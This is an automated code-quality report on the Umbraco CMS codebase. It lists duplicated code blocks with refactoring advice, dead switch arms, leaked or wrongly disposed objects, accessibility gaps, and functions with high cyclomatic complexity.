Duplicated block (14–15 lines × 2) src/Umbraco.Core/Services/RelationService.cs:592— src/Umbraco.Core/Services/RelationService.cs:592-605 | src/Umbraco.Core/Services/RelationService.cs:611-625 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/RelationService.cs:611` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.Core/Services/RelationService.cs:611` calls `ToArray` and `src/Umbraco.Core/Services/RelationService.cs:592` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (14–15 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1786— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1786-1800 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1959-1972 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1786` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1784` calls `Alias` and `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1957` does not — after which the two agree again for 3 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (13–14 lines × 2) src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:966— src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:966-978 | src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:1024-1037 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (13–14 lines × 2) src/Umbraco.Infrastructure/Search/ContentTypeIndexingNotificationHandler.cs:266— src/Umbraco.Infrastructure/Search/ContentTypeIndexingNotificationHandler.cs:266-279 | src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:227-239 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Search/DeferredSearchReindexService.cs:227` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (13 lines × 3) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1069— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1069-1081 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1115-1127 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1177-1189 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1069` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (13 lines × 3) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:138— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:138-150 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:212-224 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:363-375 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:138` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12 lines × 4) src/Umbraco.Core/DynamicRoot/QuerySteps/FurthestAncestorOrSelfDynamicRootQueryStep.cs:30— src/Umbraco.Core/DynamicRoot/QuerySteps/FurthestAncestorOrSelfDynamicRootQueryStep.cs:30-41 | src/Umbraco.Core/DynamicRoot/QuerySteps/FurthestDescendantOrSelfDynamicRootQueryStep.cs:30-41 | src/Umbraco.Core/DynamicRoot/QuerySteps/NearestAncestorOrSelfDynamicRootQueryStep.cs:30-41 | src/Umbraco.Core/DynamicRoot/QuerySteps/NearestDescendantOrSelfDynamicRootQueryStep.cs:30-41 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from all 4 call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/DynamicRoot/QuerySteps/FurthestAncestorOrSelfDynamicRootQueryStep.cs:30` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12 lines × 4) src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:54— src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:54-65 | src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentVersionMapDefinition.cs:42-53 | src/Umbraco.Cms.Api.Management/Mapping/Element/ElementMapDefinition.cs:42-53 | src/Umbraco.Cms.Api.Management/Mapping/Element/ElementVersionMapDefinition.cs:38-49 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs` and `src/Umbraco.Cms.Api.Management/Mapping/Element/ElementMapDefinition.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 46 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Note first that the copies are not typed on the same thing: the declarations holding them bind `target` to `DocumentResponseModel` in one and `DocumentVersionResponseModel` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (10 lines × 3) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:234— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:234-243 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:267-276 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:298-307 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:234` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:244` calls `Contains` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:308` does not — after which the two agree again for 4 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (10 lines × 3) src/Umbraco.Cms.Api.Management/Controllers/Document/References/ReferencedDescendantsDocumentController.cs:54— src/Umbraco.Cms.Api.Management/Controllers/Document/References/ReferencedDescendantsDocumentController.cs:54-63 | src/Umbraco.Cms.Api.Management/Controllers/Media/References/ReferencedDescendantsMediaController.cs:42-51 | src/Umbraco.Cms.Api.Management/Controllers/Member/References/ReferencedDescendantsMemberController.cs:54-63 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere all 3 call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made 3 times. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (8–9 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityContainerRepository.cs:281— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityContainerRepository.cs:281-288 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityContainerRepository.cs:377-385 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityContainerRepository.cs:281` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (8–9 lines × 2) src/Umbraco.Cms.Api.Management/Factories/DocumentEditingPresentationFactory.cs:127— src/Umbraco.Cms.Api.Management/Factories/DocumentEditingPresentationFactory.cs:127-135 | src/Umbraco.Cms.Api.Management/Mapping/Content/ContentMapDefinition.cs:83-90 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Factories/DocumentEditingPresentationFactory.cs:127` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (8 lines × 3) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1496— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1496-1503 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2002-2009 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3170-3208 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (8 lines × 3) src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:105— src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:105-112 | src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:209-216 | src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:331-338 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited.
R10 · Code Duplication· Duplicated block with local edits (97 matched lines × 2 locations) · ×2
Duplicated block with local edits (97 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/core/icon-registry/icon-picker-modal/icon-search.controller.ts:17— src/Umbraco.Web.UI.Client/src/packages/core/icon-registry/icon-picker-modal/icon-search.controller.ts:17 · src/Umbraco.Web.UI.Client/src/packages/core/property-editor/ui-picker-modal/property-editor-ui-search.controller.ts:18 — the two spans are one implementation copied and then locally edited — 735 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Duplicated block with local edits (97 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/documents/documents/workspace/views/info/document-workspace-view-info.element.ts:19— src/Umbraco.Web.UI.Client/src/packages/documents/documents/workspace/views/info/document-workspace-view-info.element.ts:19 · src/Umbraco.Web.UI.Client/src/packages/elements/workspace/views/info/element-workspace-view-info.element.ts:24 — the two spans are one implementation copied and then locally edited — 518 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (94 matched lines × 2 locations) · ×2
Duplicated block with local edits (94 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/content/content/audit-log/info-app/content-audit-log-workspace-info-app.element.ts:54— src/Umbraco.Web.UI.Client/src/packages/content/content/audit-log/info-app/content-audit-log-workspace-info-app.element.ts:54 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/audit-log/info-app/document-history-workspace-info-app.element.ts:46 — the two spans are one implementation copied and then locally edited — 642 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Duplicated block with local edits (94 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-color-picker-input/multiple-color-picker-input.element.ts:26— src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-color-picker-input/multiple-color-picker-input.element.ts:26 · src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-text-string-input/input-multiple-text-string.element.ts:27 — the two spans are one implementation copied and then locally edited — 583 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Boundary violation [package:relative-cross-package] src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts:11— src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts:11 reaches into another package with a relative path (../../src/packages/core/icon-registry/icon-dictionary.json) — import the package by name instead.
Boundary violation [package:relative-cross-package] src/Umbraco.Web.UI.Client/src/packages/sysinfo/repository/sysinfo.repository.ts:1— src/Umbraco.Web.UI.Client/src/packages/sysinfo/repository/sysinfo.repository.ts:1 reaches into another package with a relative path (../../../../package.json) — import the package by name instead.
X12 · Unreachable branch· Switch arm can never match its case-normalised subject · ×2
Switch arm can never match its case-normalised subject src/Umbraco.Cms.Api.Management/Controllers/Template/Query/ExecuteTemplateQueryController.cs:212— The switch subject is `sorting.PropertyAlias.ToLowerInvariant()`, so every value reaching these arms has already been lower-cased by `ToLower()/ToLowerInvariant()` (line 207). The label `"createDate"` carries a letter of the opposite case, so it cannot equal that subject for ANY input — this arm is dead and whatever it was meant to handle silently falls through to the default. Match the normalised spelling (`"createdate"`), or drop the normaliser and compare with `StringComparison.OrdinalIgnoreCase`.
Switch arm can never match its case-normalised subject src/Umbraco.Cms.Api.Management/Controllers/Template/Query/ExecuteTemplateQueryController.cs:215— The switch subject is `sorting.PropertyAlias.ToLowerInvariant()`, so every value reaching these arms has already been lower-cased by `ToLower()/ToLowerInvariant()` (line 207). The label `"publishDate"` carries a letter of the opposite case, so it cannot equal that subject for ANY input — this arm is dead and whatever it was meant to handle silently falls through to the default. Match the normalised spelling (`"publishdate"`), or drop the normaliser and compare with `StringComparison.OrdinalIgnoreCase`.
X18 · Disposal-pattern correctness· Disposable created and abandoned in the method that made it · ×2
Disposable created and abandoned in the method that made it src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:103— `writer` is a `StreamWriter`, which implements `IDisposable`, and it is created here (line 103). Every use of it in `GenerateStreamFromString` reads a member through it — it is never returned, never stored, never handed to anything else, and never disposed — so this method both creates the value and is the last thing that can release it, and does not. Nothing announces the leak: the object holds its resource until finalization if its type has a finalizer, and until the process ends if it does not, so the cost accumulates once per CALL rather than showing up as a failure. Declare it with `using` (`using var writer = …;`), which releases it at the end of the scope on every path including a throw.
Disposable created and abandoned in the method that made it src/Umbraco.Infrastructure/Services/Implement/LogViewerRepository.cs:92— `reader` is a `LogEventReader`, which implements `IDisposable`, and it is created here (line 92). Every use of it in `ReadLogFile` reads a member through it — it is never returned, never stored, never handed to anything else, and never disposed — so this method both creates the value and is the last thing that can release it, and does not. Nothing announces the leak: the object holds its resource until finalization if its type has a finalizer, and until the process ends if it does not, so the cost accumulates once per CALL rather than showing up as a failure. Declare it with `using` (`using var reader = …;`), which releases it at the end of the scope on every path including a throw.
X18 · Disposal-pattern correctness· Disposes a dependency it does not own · ×2
Disposes a dependency it does not own src/Umbraco.Core/Runtime/MainDom.cs:283— `_mainDomLock` is never created by `MainDom` — every assignment to it takes a constructor parameter — yet this type disposes it here (line 283). Its declared type `IMainDomLock` is an interface, so the instance came from whoever resolved it, and that owner decides when it ends. Disposing it from here reaches outside this object's lifetime: a dependency shared with the rest of the process is torn down when THIS instance goes away, and the real owner's later `Dispose()` runs a second time on an object already disposed. Drop the call — a type disposes what it constructed, and only that. If this dependency genuinely is exclusive to this instance, construct it here (or take an owned factory) so the ownership is stated in the code rather than assumed.
Disposes a dependency it does not own src/Umbraco.Infrastructure/PublishedContentQuery.cs:523— `_wrapped` is never created by `CultureContextualSearchResultsEnumerator` — every assignment to it takes a constructor parameter — yet this type disposes it here (line 523). Its declared type `IEnumerator` is an interface, so the instance came from whoever resolved it, and that owner decides when it ends. Disposing it from here reaches outside this object's lifetime: a dependency shared with the rest of the process is torn down when THIS instance goes away, and the real owner's later `Dispose()` runs a second time on an object already disposed. Drop the call — a type disposes what it constructed, and only that. If this dependency genuinely is exclusive to this instance, construct it here (or take an owned factory) so the ownership is stated in the code rather than assumed.
X5 · Nullable reference types· Null-tolerant access on a value the branch has already proved null · ×2
Null-tolerant access on a value the branch has already proved null src/Umbraco.Web.Website/Controllers/UmbProfileController.cs:137— This branch was entered because `member` is null — line 134 says so — and line 137 inside it then writes `member?.`, which asks the same question again. Nothing here can throw, but nothing here can vary either: the access is never taken and the expression is null every time. The conditional is dead code, and it misleads the reader into thinking this line can show a value. Say what is actually true on this path — write the constant the expression always produces, or drop the branch's guard if `member` was not meant to be null here.
Null-tolerant access on a value the branch has already proved null src/Umbraco.Web.Website/Controllers/UmbRegisterController.cs:153— This branch was entered because `member` is null — line 150 says so — and line 153 inside it then writes `member?.`, which asks the same question again. Nothing here can throw, but nothing here can vary either: the access is never taken and the expression is null every time. The conditional is dead code, and it misleads the reader into thinking this line can show a value. Say what is actually true on this path — write the constant the expression always produces, or drop the branch's guard if `member` was not meant to be null here.
AC3 · Page structure· Heading level jumps from h2 to h4 · ×1
Heading level jumps from h2 to h4 src/Umbraco.Core/EmbeddedResources/Snippets/EditProfile.cshtml:86— Skipping heading levels breaks the document outline assistive tech relies on. Don't jump levels — increase by at most one.
AC6 · Visual & motion safety· Animation without a prefers-reduced-motion guard · ×1
Animation without a prefers-reduced-motion guard src/Umbraco.Cms.StaticAssets/wwwroot/App_Plugins/Umbraco.BlockGridEditor.DefaultCustomViews/umbBlockGridDemoImageBlock.html:1— This stylesheet animates but never checks prefers-reduced-motion, so motion-sensitive users can't opt out. Wrap motion in @media (prefers-reduced-motion: no-preference).
AC7 · A11y enforcement· Accessibility enforcement below the top rung · ×1
Accessibility enforcement below the top rung — No accessibility enforcement found — no a11y linter (an accessibility check that can read your UI — no component framework was detected and your pages are rendered by server-side templates, which neither the JSX/Vue ESLint plugins nor the HTML-template linters can parse; run axe/pa11y over the rendered pages, or assert the accessibility invariants over that rendered HTML in the test suite you already have) and no axe/pa11y/Lighthouse in tests or CI. Start by running that check over your rendered pages in CI. What was searched, so you can tell an absence from a miss: the 46 markup file(s) this pass actually assessed, the linter configuration checked in beside them, and this repository's test and CI files — matched by name against the accessibility checkers this dimension carries. An audit run outside the repository, a hosted scanner, or a check whose name is not one of those, is not seen here.
BulkDataReader.AddSchemaTableRow (cyclomatic 89) src/Umbraco.Cms.Persistence.SqlServer/Services/BulkDataReader.cs:222— BulkDataReader.AddSchemaTableRow has cyclomatic complexity 89 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PublishableContentServiceBase.CommitContentChangesInternal (cyclomatic 70) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1401— PublishableContentServiceBase.CommitContentChangesInternal has cyclomatic complexity 70 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ExpressionVisitorBase.VisitMethodCall (cyclomatic 63) src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:458— ExpressionVisitorBase.VisitMethodCall has cyclomatic complexity 63 (threshold 15). Of this number, 62 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
BackOfficeUserStore.UpdateMemberProperties (cyclomatic 49) src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:811— BackOfficeUserStore.UpdateMemberProperties has cyclomatic complexity 49 (threshold 15). To reduce it, name the conditions: bind each compound test to a well-named local or a small predicate function, so the body reads as a sequence of named decisions rather than a chain of operators.
UmbSorterController.#updateDragMove (cyclomatic 46) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:961— UmbSorterController.#updateDragMove has cyclomatic complexity 46 (threshold 15). Of this number, 43 points are the body's own statements and 3 belong to 3 function literals inside it that branch. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
MemberUserStore.UpdateMemberProperties (cyclomatic 42) src/Umbraco.Infrastructure/Security/MemberUserStore.cs:1062— MemberUserStore.UpdateMemberProperties has cyclomatic complexity 42 (threshold 15). To reduce it, name the conditions: bind each compound test to a well-named local or a small predicate function, so the body reads as a sequence of named decisions rather than a chain of operators.
HtmlStringUtilities.Truncate (cyclomatic 37) src/Umbraco.Web.Common/Mvc/HtmlStringUtilities.cs:142— HtmlStringUtilities.Truncate has cyclomatic complexity 37 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
DeepCloneHelper.DeepCloneRefProperties (cyclomatic 36) src/Umbraco.Core/Models/DeepCloneHelper.cs:25— DeepCloneHelper.DeepCloneRefProperties has cyclomatic complexity 36 (threshold 15). Of this number, 16 points are the body's own statements and 20 belong to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
DefaultShortStringHelper.CleanCodeString (cyclomatic 36) src/Umbraco.Core/Strings/DefaultShortStringHelper.cs:364— DefaultShortStringHelper.CleanCodeString has cyclomatic complexity 36 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentTypeRepositoryBase.PersistUpdatedBaseContentType (cyclomatic 35) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:363— ContentTypeRepositoryBase.PersistUpdatedBaseContentType has cyclomatic complexity 35 (threshold 15). Of this number, 34 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UUIPopoverElement._updatePlacement (cyclomatic 35) src/Umbraco.Web.UI.Client/src/external/uui/uui-popover.element.ts:259— UUIPopoverElement._updatePlacement has cyclomatic complexity 35 (threshold 15). Of this number, 33 points are the body's own statements and 2 belong to 2 function literals inside it that branch. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentTypeServiceBase.ComposeContentTypeChanges (cyclomatic 34) src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:343— ContentTypeServiceBase.ComposeContentTypeChanges has cyclomatic complexity 34 (threshold 15). Of this number, 33 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ExpressionVisitorBase.VisitBinary (cyclomatic 34) src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:174— ExpressionVisitorBase.VisitBinary has cyclomatic complexity 34 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top. This is NOT this file's highest cyclomatic complexity: ExpressionVisitorBase.Visit (cyclomatic 44) is higher and carries no row of its own — it was excluded as a flat dispatcher (a long switch/match over independent cases: many branches, almost no nesting), which this dimension does not treat as a refactor obligation. It is named here so the ranking you see in this file is not mistaken for the whole of it; the excluded method is counted neither in this dimension's figures nor in its score.
form-control.mixin.UmbFormControlMixin (cyclomatic 33) src/Umbraco.Web.UI.Client/src/packages/core/validation/mixins/form-control.mixin.ts:104— form-control.mixin.UmbFormControlMixin has cyclomatic complexity 33 (threshold 15). Of this number, 25 points are the body's own statements and 8 belong to 4 function literals inside it that branch. To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
ObjectExtensions.TryConvertToFromString (cyclomatic 32) src/Umbraco.Core/Extensions/ObjectExtensions.cs:374— ObjectExtensions.TryConvertToFromString has cyclomatic complexity 32 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ObjectExtensions.TryConvertTo (cyclomatic 31) src/Umbraco.Core/Extensions/ObjectExtensions.cs:211— ObjectExtensions.TryConvertTo has cyclomatic complexity 31 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
DatabaseDataCreator.CreateDataTypeData (cyclomatic 31) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2222— DatabaseDataCreator.CreateDataTypeData has cyclomatic complexity 31 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
ContentRepositoryExtensions.CopyFrom (cyclomatic 30) src/Umbraco.Core/Models/ContentRepositoryExtensions.cs:161— ContentRepositoryExtensions.CopyFrom has cyclomatic complexity 30 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PublishableContentServiceBase.StrategyCanPublish (cyclomatic 30) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:2058— PublishableContentServiceBase.StrategyCanPublish has cyclomatic complexity 30 (threshold 15). Of this number, 29 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PublishableContentRepositoryBase.PersistUpdatedItem (cyclomatic 30) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1174— PublishableContentRepositoryBase.PersistUpdatedItem has cyclomatic complexity 30 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
InMemoryModelFactory.GetModelsAssembly (cyclomatic 30) src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryModelFactory.cs:416— InMemoryModelFactory.GetModelsAssembly has cyclomatic complexity 30 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PropertyValidationService.IsPropertyValid (cyclomatic 28) src/Umbraco.Core/Services/PropertyValidationService.cs:228— PropertyValidationService.IsPropertyValid has cyclomatic complexity 28 (threshold 15). Of this number, 20 points are the body's own statements and 8 belong to 3 function literals inside it that branch. To reduce it, name the conditions: bind each compound test to a well-named local or a small predicate function, so the body reads as a sequence of named decisions rather than a chain of operators.
